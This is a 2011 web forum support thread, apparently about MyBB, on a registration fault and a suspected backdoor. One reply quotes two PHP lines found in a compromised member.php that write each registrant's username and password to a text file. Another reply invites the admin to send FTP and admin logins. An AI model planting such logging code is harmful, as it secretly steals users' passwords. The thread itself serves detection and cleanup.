2011-06-05, 02:15 AM
Pages: 1 2
2011-06-05, 02:31 AM
I think your forum might have an exploit installed where it logs users details when they try and register.
I came across this before. They had the following in their member.php:
http://community.mybb.com/thread-77360-p...#pid566459
Download a copy of your member.php, and search for "fopen" without quotes.
Better to be safe than sorry.
I came across this before. They had the following in their member.php:
$file = fopen($_SERVER['DOCUMENT_ROOT'].'/paroles.txt', 'a');
fwrite($file, $mybb->input['username'] . " " . $mybb->input['password'] . "\n\n");
http://community.mybb.com/thread-77360-p...#pid566459
Download a copy of your member.php, and search for "fopen" without quotes.
Better to be safe than sorry.
2011-06-05, 03:27 AM
I dont have fopen....
2011-06-05, 03:53 AM
What did you change since I registered today?
2011-06-05, 04:24 AM
Nothing, All I did was install page manager and PHP and Template Conditionals
2011-06-05, 08:39 AM
In the inc/languages/ folder, make sure you don't have extra files in there but only files for your languages installed. If you only have English installed, it should only have:
I've seen exploits making use of the languages folder.
If you wish, I can track down this problem if you PM me your FTP logins, ACP logins and an extra test account for logging in.
english/ (folder)
english.php
index.html
I've seen exploits making use of the languages folder.
If you wish, I can track down this problem if you PM me your FTP logins, ACP logins and an extra test account for logging in.
2011-06-05, 04:50 PM
(2011-06-05, 08:39 AM)Aries-Belgium Wrote: [ -> ]In the inc/languages/ folder, make sure you don't have extra files in there but only files for your languages installed. If you only have English installed, it should only have:I did have one! Extra signup questions file was placed in there on mistake. I will see if you can join now.
english/ (folder) english.php index.html
I've seen exploits making use of the languages folder.
If you wish, I can track down this problem if you PM me your FTP logins, ACP logins and an extra test account for logging in.
Edit-He still gets the same error.
2011-06-05, 06:30 PM
(2011-06-05, 08:39 AM)Aries-Belgium Wrote: [ -> ]If you wish, I can track down this problem if you PM me your FTP logins, ACP logins and an extra test account for logging in.
2011-06-07, 01:07 AM
Bump.
2011-06-07, 06:31 PM
Did you PM Aries-Belgium details like he offered, or...??
Pages: 1 2